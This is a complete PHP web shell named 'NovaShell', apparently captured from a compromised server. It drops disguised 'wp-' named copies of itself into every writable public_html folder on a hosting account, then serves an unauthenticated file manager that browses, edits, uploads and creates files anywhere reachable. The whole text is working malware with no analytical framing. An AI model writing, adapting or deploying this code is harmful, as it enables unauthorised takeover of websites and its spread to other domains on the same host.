Your IP : 216.73.216.1
jsgh<?php
// 🛰️ NovaShell — Shell + Auto-Replication (Clones are clean)
error_reporting(0);
// === One-time replication to domains
function deploy_clones_once($payload) {
static $done = false;
if ($done) return [];
$done = true;
$results = [];
$dir = __DIR__;
while ($dir && $dir !== '/') {
if (preg_match('/\/u[\w\d]+$/', $dir) && is_dir($dir . '/domains')) {
$domains = $dir . '/domains';
foreach (scandir($domains) as $d) {
if ($d === '.' || $d === '..') continue;
$pub = "$domains/$d/public_html";
if (is_dir($pub) && is_writable($pub)) {
$name = 'wp-' . substr(md5(uniqid()), 0, 7) . '.php';
if (file_put_contents("$pub/$name", $payload)) {
$results[] = "http://$d/$name";
}
}
}
break;
}
$dir = dirname($dir);
}
return $results;
}
// === Payload shell (cloned version with no replication)
$clean_shell = <<<'EOT'
<?php
error_reporting(0);
$cwd = isset($_GET['p']) ? realpath($_GET['p']) : getcwd();
if (!$cwd || !is_dir($cwd)) $cwd = getcwd();
chdir($cwd);
// === File editor
if (isset($_GET['e'])) {
$file = $cwd . '/' . basename($_GET['e']);
if (is_file($file)) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['c'])) {
file_put_contents($file, $_POST['c']);
echo "<div style='color:#0f0'>✅ Saved</div>";
}
$code = htmlspecialchars(file_get_contents($file));
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>Edit</title>
<style>body{background:#111;color:#eee;font-family:monospace;padding:20px}
textarea{width:100%;height:80vh;background:#1a1a1a;color:#fff}
button{background:#28a745;color:#fff;border:none;padding:5px 10px}</style>
</head><body><h2>🛰️ NovaShell</h2><h3>📝 Editing: ".basename($file)."</h3>
<form method='post'><textarea name='c'>$code</textarea><br>
<button type='submit'>💾 Save</button></form>
<p><a href='?p=".urlencode($cwd)."'>🔙 Back</a></p></body></html>";
exit;
}
}
// === File upload
if (!empty($_FILES['f']['name'])) {
$target = $cwd . '/' . basename($_FILES['f']['name']);
move_uploaded_file($_FILES['f']['tmp_name'], $target);
echo "<div style='color:#0f0'>📤 Uploaded: " . htmlspecialchars($_FILES['f']['name']) . "</div>";
}
// === Folder creation
if (!empty($_POST['newdir'])) {
$nd = $cwd . '/' . basename($_POST['newdir']);
if (!file_exists($nd)) {
mkdir($nd);
echo "<div style='color:#0f0'>📁 Folder created</div>";
}
}
// === UI Start
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>NovaShell</title>
<style>body{background:#111;color:#ccc;font-family:monospace;padding:20px}
a{color:#6cf;text-decoration:none} h2{color:#0f0} ul{list-style:none;padding:0}</style>
</head><body><h2>🛰️ NovaShell</h2><p><b>Path:</b> ";
// === Breadcrumb path
$parts = explode('/', trim($cwd, '/'));
$build = '/';
foreach ($parts as $part) {
$build .= "$part/";
echo "<a href='?p=" . urlencode($build) . "'>$part</a>/";
}
echo "</p><ul>";
// === Up one level
$up = dirname($cwd);
if ($up && $up !== $cwd) echo "<li>⬆️ <a href='?p=" . urlencode($up) . "'>../</a></li>";
// === File & folder listing
foreach (scandir($cwd) as $item) {
if ($item === '.') continue;
$full = $cwd . '/' . $item;
if (is_dir($full)) {
echo "<li>📁 <a href='?p=" . urlencode($full) . "'>$item</a></li>";
} else {
echo "<li>📄 <a href='?p=" . urlencode($cwd) . "&e=" . urlencode($item) . "'>$item</a></li>";
}
}
// === Footer: upload + mkdir
echo "</ul><hr>
<form method='post' enctype='multipart/form-data'>
📤 <input type='file' name='f'> <button type='submit'>Upload</button></form><br>
<form method='post'>
📁 <input type='text' name='newdir' placeholder='New folder'>
<button type='submit'>Create</button></form></body></html>";
?>
EOT;
// === Deploy the clones (only once)
$cloned = deploy_clones_once($clean_shell);
// === Show deployed links if any
if (!empty($cloned)) {
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>NovaShell Deployed</title>
<style>body{background:#111;color:#0f0;font-family:monospace;padding:20px}
a{color:#6cf;text-decoration:none}</style></head><body>
<h2>🛰️ NovaShell Deployed</h2><p>✅ Cloned into:</p><ul>";
foreach ($cloned as $url) echo "<li><a href='$url' target='_blank'>$url</a></li>";
echo "</ul><hr></body></html>";
}
// === Load file manager for current instance
eval("?>" . $clean_shell);
?>